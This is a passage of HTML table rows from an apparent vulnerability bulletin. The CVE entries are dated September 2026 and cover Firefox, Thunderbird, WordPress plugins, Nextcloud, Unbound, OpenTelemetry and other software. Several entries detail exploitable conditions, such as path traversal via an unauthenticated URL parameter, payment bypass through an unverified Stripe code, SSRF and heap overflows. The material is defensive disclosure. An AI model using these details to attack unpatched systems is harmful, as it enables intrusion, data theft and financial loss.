&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Incorrect boundary conditions in the Networking component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92076&quot; target=&quot;_blank&quot;&gt;CVE-2026-92076&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Denial-of-service in the SVG component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92077&quot; target=&quot;_blank&quot;&gt;CVE-2026-92077&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Denial-of-service in the Security component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92078&quot; target=&quot;_blank&quot;&gt;CVE-2026-92078&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Firefox&lt;/td&gt;
&lt;td&gt;Mitigation bypass in the Widget: Win32 component. This vulnerability was fixed in Firefox 156, Firefox ESR 153.3, Thunderbird 156, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92079&quot; target=&quot;_blank&quot;&gt;CVE-2026-92079&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Thunderbird&lt;/td&gt;
&lt;td&gt;A maliciously constructed mail header could lead to multiple fields being parsed as one, or potential memory safety violations. This vulnerability was fixed in Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92238&quot; target=&quot;_blank&quot;&gt;CVE-2026-92238&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Thunderbird&lt;/td&gt;
&lt;td&gt;A maliciously constructed IMAP line could cause an out-of-bounds buffer read. This vulnerability was fixed in Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92239&quot; target=&quot;_blank&quot;&gt;CVE-2026-92239&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Mozilla--Thunderbird&lt;/td&gt;
&lt;td&gt;A malicious or compromised IMAP server can trigger an out-of-bounds read in the IMAP response parser by sending an untagged &#039;* ID&#039; response, crashing Thunderbird. The affected parsing path is reachable before authentication. This vulnerability was fixed in Thunderbird 156, Thunderbird 140.16, and Thunderbird 153.3.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92240&quot; target=&quot;_blank&quot;&gt;CVE-2026-92240&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MultiVendorX--MultiVendorX&lt;/td&gt;
&lt;td&gt;The MultiVendorX WordPress plugin before 5.0.16 does not verify that a user owns the store they are acting on in one of its REST API routes, allowing any authenticated user, such as a subscriber, to overwrite any store&#039;s details and payout settings and to replace the record of who owns it.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74926&quot; target=&quot;_blank&quot;&gt;CVE-2026-74926&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;muxinc--next-video&lt;/td&gt;
&lt;td&gt;next-video is a library for adding video to Next.js applications. Prior to 2.8.1, the GET endpoint exported by next-video/request-handler and commonly mounted at /api/video accepts an unauthenticated url query parameter, while src/utils/utils.ts isRemote() treats any value without an HTTP or HTTPS prefix as a local path. src/request-handler.ts passes that value through src/assets.ts getAssetPath() to src/config.ts loadAsset(), which appends a JSON suffix and uses fs.readFile without canonicalizing the path or verifying that it remains inside the configured video folder. A remote attacker can therefore escape the intended asset directory and read JSON files accessible to the application process, including Next.js server-action encryption material, preview-mode keys, build manifests, route metadata, absolute paths, and application video asset identifiers. Applications that do not expose the runtime request handler are not affected through this route. This issue is fixed in version 2.8.1.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54150&quot; target=&quot;_blank&quot;&gt;CVE-2026-54150&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;MythicalLTD--MythicalDash&lt;/td&gt;
&lt;td&gt;MythicalDash is a Pterodactyl client area. In 3.5.4-aurora and earlier, GET /api/stripe/process in backend/app/Api/System/Gateways/Stripe.php creates a pending row in mythicaldash_stripe_payments before Stripe checkout succeeds and embeds the payment code in the success redirect, while GET /api/stripe/processed accepts that code without constructing a Session, checking ownership, or retrieving the Stripe Checkout Session to require payment_status to be paid and amount_total to match the expected charge. An ordinary authenticated user can request an attacker-selected coins amount, abandon or fail payment, and submit the pending code directly to the unauthenticated processed endpoint. StripeDB::isPending() then permits User::addCreditsAtomic() to grant the unpaid amount and mark the row processed even though Stripe has not confirmed payment. This permits arbitrary free virtual-currency top-ups and direct financial loss through consumption of hosting resources. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54608&quot; target=&quot;_blank&quot;&gt;CVE-2026-54608&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nanomq--nanomq&lt;/td&gt;
&lt;td&gt;NanoMQ is an MQTT broker. Prior to 0.24.14, NanoMQ&#039;s broker-side MQTT v5 nmq_subinfo_decode() function in nng/src/sp/protocol/mqtt/mqtt_parser.c reuses len_of_varint from the outer Properties Length while parsing each SUBSCRIPTION_IDENTIFIER. A remote client can send a SUBSCRIBE packet with a multi-byte Properties Length and repeated subscription identifiers, causing get_var_integer() to begin at an incorrect offset and read beyond the heap message buffer. The flaw is reachable through the broker receive path and can crash the broker, while the separately reported topic-option off-by-one occurs later and is not this vulnerability. This issue is fixed in version 0.24.14.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-73863&quot; target=&quot;_blank&quot;&gt;CVE-2026-73863&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NASA--CryptoLib&lt;/td&gt;
&lt;td&gt;NASA CryptoLib 1.5.0 contains an authentication downgrade vulnerability in the Telecommand (TC) receive path. The receiver selects the Security Association used for SDLS processing solely from the SPI field inside the incoming frame, but it does not verify that the selected SA is authorized for the frame&#039;s GVCID.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79954&quot; target=&quot;_blank&quot;&gt;CVE-2026-79954&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;netty--netty-incubator-codec-ohttp&lt;/td&gt;
&lt;td&gt;netty-incubator-codec-ohttp implements Oblivious HTTP (OHTTP) gateway and client functionality using Netty. Prior to 0.0.23.Final, the OHTTP gateway decryption path in codec-ohttp/src/main/java/io/netty/incubator/codec/ohttp/OHttpRequestResponseContext.java allocates a pooled direct ByteBuf for decrypted plaintext before the AEAD tag is verified. When an invalid tag causes decryptChunk() to throw CryptoException, OHttpRequestResponseContext.decodeChunk() does not release the ByteBuf because the allocation is not guarded by try/finally. Repeated invalid encrypted requests can therefore leak native off-heap memory until the gateway is unable to continue serving requests. This issue is fixed in version 0.0.23.Final.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54251&quot; target=&quot;_blank&quot;&gt;CVE-2026-54251&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Newsletter--Newsletter&lt;/td&gt;
&lt;td&gt;The Newsletter WordPress plugin before 9.3.7 does not validate the destination of the redirect performed after a public subscription action, allowing unauthenticated attackers to redirect users to arbitrary external sites and to disclose a subscriber token that grants access to that subscriber record&#039;s front-end actions.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86823&quot; target=&quot;_blank&quot;&gt;CVE-2026-86823&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Newsletter--Newsletter&lt;/td&gt;
&lt;td&gt;The Newsletter WordPress plugin before 9.3.8 does not generate its email tracking signing key with sufficient entropy and signs its tracking links with an unkeyed hash, allowing an unauthenticated attacker who recovers that key offline to forge tracking links, obtain any subscriber&#039;s session token, and read and modify that subscriber&#039;s stored personal data.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86824&quot; target=&quot;_blank&quot;&gt;CVE-2026-86824&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Approval&lt;/td&gt;
&lt;td&gt;The Approval app&#039;s approve/reject endpoint is meant to require the file&#039;s current etag as a freshness check, preventing an approver from approving or rejecting a file whose contents changed after they reviewed it. The backend only enforced this check when the etag parameter was present and non-empty in the request. An attacker able to intercept and modify the approval request could omit the etag field entirely, bypassing the freshness check and approving or rejecting a file version they never reviewed.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82982&quot; target=&quot;_blank&quot;&gt;CVE-2026-82982&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Deck&lt;/td&gt;
&lt;td&gt;The Deck config API allows authenticated users to set board-scoped configuration keys for arbitrary board IDs without validating whether the user owns or has permission to manage the referenced board.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77170&quot; target=&quot;_blank&quot;&gt;CVE-2026-77170&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Files Lock&lt;/td&gt;
&lt;td&gt;Any authenticated user can lock or unlock files they do not own by targeting absolute WebDAV paths of other users. The DAV plugin resolves files from the absolute request URI without verifying that the path segment matches the authenticated session user. This enables: Cross-user manual locks : attacker locks a victim&#039;s files, blocking writes (PUT/MOVE/DELETE, editor saves). Lock-token disclosure: the app returns the lock token to unauthorized callers, enabling them to remove token-based locks (client locks) of other users.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82980&quot; target=&quot;_blank&quot;&gt;CVE-2026-82980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Server&lt;/td&gt;
&lt;td&gt;After guessing a 62^15 complex unique identifier, a malicious logged in user was able to retrieve a list of memberships for a circle they are not a member of.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-68493&quot; target=&quot;_blank&quot;&gt;CVE-2026-68493&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Server&lt;/td&gt;
&lt;td&gt;Circles&#039; remote-instance signature verification fetches the attacker-supplied keyId URL before trust in the remote instance is established, and explicitly allows local/private addresses for this request, bypassing Nextcloud&#039;s core SSRF protections. The public, unauthenticated endpoints POST /apps/circles/event/ and POST /apps/circles/incoming/ reach this code path, allowing any unauthenticated user to force the server to issue a GET request to an internal address. The response body of the internal request is never returned to the requester, so this is blind SSRF: an attacker can determine whether an internal service is reachable, but cannot read its response contents through this endpoint alone.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77164&quot; target=&quot;_blank&quot;&gt;CVE-2026-77164&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Server&lt;/td&gt;
&lt;td&gt;The Photos app&#039;s filter-based &quot;smart albums&quot; build their file listing using the search configuration (photosSourceFolders) of the user viewing the album, rather than the album owner&#039;s configuration. When an album owner shares a smart album with another user, that user&#039;s own folder configuration is used to determine which of the owner&#039;s files are searched - allowing them to discover files (name, file ID, and other metadata) in folders the album owner never intended to include in the shared album. This requires the album owner to have shared a filter-based smart album with the attacker; it does not allow access to arbitrary users&#039; files without such a share.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82985&quot; target=&quot;_blank&quot;&gt;CVE-2026-82985&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nextcloud--Team Folders&lt;/td&gt;
&lt;td&gt;A vulnerability in the team folders (formerly group folders) app when used in combination with the workspace app allowed API/REST-only delegated administrators to bypass folder-level authorization controls. The workspace app enables organizations to delegate limited administrative privileges for team folder management via API/REST only, restricting access to folders for which the admin has advanced permissions.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77169&quot; target=&quot;_blank&quot;&gt;CVE-2026-77169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ni WooCommerce Sales Report--Ni WooCommerce Sales Report&lt;/td&gt;
&lt;td&gt;The Ni WooCommerce Sales Report WordPress plugin before 4.2.0 does not sanitise and escape a parameter before using it in a SQL statement, allowing unauthenticated users to perform SQL injection attacks.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78472&quot; target=&quot;_blank&quot;&gt;CVE-2026-78472&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ni WooCommerce Sales Report--Ni WooCommerce Sales Report&lt;/td&gt;
&lt;td&gt;The Ni WooCommerce Sales Report WordPress plugin before 4.2.0 does not have any authentication or authorisation checks on one of its report-printing routines, allowing unauthenticated users to retrieve WooCommerce order details and customer contact information, to target an individual order, and to search the store&#039;s orders by customer name or email address.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-78474&quot; target=&quot;_blank&quot;&gt;CVE-2026-78474&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Nimble Page Builder--Nimble Page Builder&lt;/td&gt;
&lt;td&gt;The Nimble Page Builder WordPress plugin through 3.3.8 does not perform an authorization check when returning page-builder content through an authenticated AJAX action, allowing any authenticated user (Subscriber+) to disclose the page-builder content of arbitrary non-public (draft, pending, private, scheduled) posts and pages.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-16557&quot; target=&quot;_blank&quot;&gt;CVE-2026-16557&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnet Labs Unbound up to and including 1.26.0, a vulnerability was found in the DNSSEC validator that enables denial of service and possible remote code execution as a result of digesting DNSKEYs. A DNSKEY with an owner compression pointer to its own RDATA can overflow the digest buffer. Remote code execution is possible through attacker controlled data. An adversary can exploit the vulnerability by controlling a malicious zone and querying a vulnerable Unbound.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81642&quot; target=&quot;_blank&quot;&gt;CVE-2026-81642&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NLnet Labs--Unbound&lt;/td&gt;
&lt;td&gt;In NLnet Labs Unbound up to and including 1.26.0, a vulnerability was found in that can progressively corrupt heap memory and under certain systems and compilation options could lead to remote code execution. The vulnerability starts when CNAME synthesis during an upstream response needs to enforce(rewrite) a max TTL value in the packet buffer. Coupled with a compression pointer that points to the overwritten value and invalidates the domain name, it leads to an error path that does not properly move the buffer position and allows for the heap buffer overflow. Since this is heavily reliant on heap memory layout, results are memory corruption that eventually leads to a crash and under specific systems and compilation options remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82717&quot; target=&quot;_blank&quot;&gt;CVE-2026-82717&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NTT DOCOMO BUSINESS, Inc.--ManabiPocket for Parents&lt;/td&gt;
&lt;td&gt;Android application &quot;ManabiPocket for Parents&quot; contains an improper access control vulnerability in one of its components. A malicious application installed on the user&#039;s Android device may exploit the affected component via an Intent, potentially allowing the malicious application to obtain sensitive information from the affected application.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86701&quot; target=&quot;_blank&quot;&gt;CVE-2026-86701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NUUO --Network Video Recorder 2.0.0&lt;/td&gt;
&lt;td&gt;NUUO Network Video Recorder 2.0.0 is vulnerable to Command Injection in handle_import_privilege.php.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88622&quot; target=&quot;_blank&quot;&gt;CVE-2026-88622&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;NUUO --Network Video Recorder 2.0.0&lt;/td&gt;
&lt;td&gt;NUUO Network Video Recorder 2.0.0 is vulnerable to arbitrary file read. In up.php, the url parameter submitted by the user via POST is received, and fopen() is used to open the URL in binary read-only mode. The content is then written to the /tmp/ directory, with the filename derived from basename() of the URL. This operation requires no authentication.&lt;/td&gt;
&lt;td&gt;2026-09-18&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88623&quot; target=&quot;_blank&quot;&gt;CVE-2026-88623&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;nuxt-modules--og-image&lt;/td&gt;
&lt;td&gt;Nuxt OG Image generates OG Images with Vue templates in Nuxt. From 6.0.2 until 6.7.0, nuxt-og-image exposes the unauthenticated /_og/d/** route when the documented defaults security.strict = false and security.secret = &quot;&quot; are used, and base64url-decodes the fonts parameter through decodeOgImageParams. Attacker-controlled fonts[].path values flow through loadDefinedFonts into the font-assets/node.js binding, which performs a server-side fetch without validating the URL scheme, origin, resolved address, or redirects. This permits blind requests to loopback, private, link-local, cloud metadata, and other internal HTTP services, while differences in the outer response status and timing can reveal service reachability. Slow targets can also occupy OG image render workers for the configured fetch and render timeouts. This issue is fixed in version 6.7.0.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61793&quot; target=&quot;_blank&quot;&gt;CVE-2026-61793&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Octopus Deploy--Octopus Server&lt;/td&gt;
&lt;td&gt;In affected versions of Octopus Server, users with certain scoped permission sets could execute arbitrary scripts on a worker (including the Octopus Server built-in worker). Incorrect permission validation during script execution would allow the script to execute without the user possessing the required authorisation.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91778&quot; target=&quot;_blank&quot;&gt;CVE-2026-91778&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Octopus Deploy--Octopus Server&lt;/td&gt;
&lt;td&gt;In affected versions of Octopus Server, a user with permission to modify non built-in external feeds could exploit a path traversal flaw to overwrite arbitrary files on the server, which in some configurations could lead to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92355&quot; target=&quot;_blank&quot;&gt;CVE-2026-92355&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OmniBlocks--monorepo&lt;/td&gt;
&lt;td&gt;OmniBlocks is a monorepo for the OmniBlocks project. Prior to the June 6, 2026 workflow remediation, .github/workflows/disc.yml runs for the issues opened event and the issues edited event and invokes the createDiscussion mutation whenever an issue is classified as off-topic, without recording that the issue was already converted or otherwise suppressing duplicate runs. A user who creates one off-topic issue and repeatedly edits its description before conversion completes can therefore cause multiple discussions to be created for the same issue, producing discussion spam and additional moderation work. This issue is fixed with commit 627e0f0a16a7d74b09128106b57dd7e85d2545df.&lt;/td&gt;
&lt;td&gt;2026-09-17&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-54594&quot; target=&quot;_blank&quot;&gt;CVE-2026-54594&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;OneNav--OneNav v1.2.4&lt;/td&gt;
&lt;td&gt;OneNav v1.2.4 contains an authenticated arbitrary file deletion vulnerability in the Api::upload() method in class/Api.php. An authenticated administrator can submit a non-HTML upload filename matching an existing file in the application&#039;s working directory. The application passes the user-controlled filename to unlink() when rejecting the upload, potentially causing file deletion and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88621&quot; target=&quot;_blank&quot;&gt;CVE-2026-88621&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Online Scheduling and Appointment Booking System--Online Scheduling and Appointment Booking System&lt;/td&gt;
&lt;td&gt;The Online Scheduling and Appointment Booking System WordPress plugin before 28.2 does not verify that the requester owns the AI booking-assistant conversation named in its unauthenticated conversation actions, allowing any unauthenticated visitor to read another visitor&#039;s assistant messages and to inject messages into their in-progress conversation.&lt;/td&gt;
&lt;td&gt;2026-09-19&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91847&quot; target=&quot;_blank&quot;&gt;CVE-2026-91847&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-collector-contrib&lt;/td&gt;
&lt;td&gt;The OpenTelemetry Collector Contrib repository contains components for the OpenTelemetry Collector. Prior to 0.151.0, the githubreceiver validates the receiver/githubreceiver/config.go RequiredHeaders configuration at startup, but receiver/githubreceiver/trace_receiver.go handleReq() does not check those headers on incoming webhook requests. An unauthenticated sender can therefore bypass an operator&#039;s required_headers authentication control and submit arbitrary webhook payloads. When the Secret field is empty, github.ValidatePayload also skips HMAC validation, leaving the webhook endpoint without either configured authentication mechanism. Successful exploitation can inject fabricated CI/CD trace data into the observability pipeline. This issue is fixed in version 0.151.0.&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55701&quot; target=&quot;_blank&quot;&gt;CVE-2026-55701&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-go&lt;/td&gt;
&lt;td&gt;OpenTelemetry-Go is the Go implementation of OpenTelemetry. From version 1.10.0 until 1.33.0, the sdk/trace/span.go attribute truncation path can fail to enforce AttributeValueLengthLimit for string and string-slice attributes containing the valid Unicode replacement character U+FFFD. safeTruncateValidUTF8 treats the valid replacement rune as invalid UTF-8 and returns the original input, while strings.ToValidUTF8 leaves that valid rune unchanged, so a second safeTruncate attempt can also return the oversized value. An attacker who controls span attribute content can retain values longer than the configured limit, increasing per-span memory use and weakening denial-of-service protection in the instrumented process. This issue is fixed in version 1.33.0.&lt;/td&gt;
&lt;td&gt;2026-09-16&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81869&quot; target=&quot;_blank&quot;&gt;CVE-2026-81869&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;open-telemetry--opentelemetry-go&lt;/td&gt;
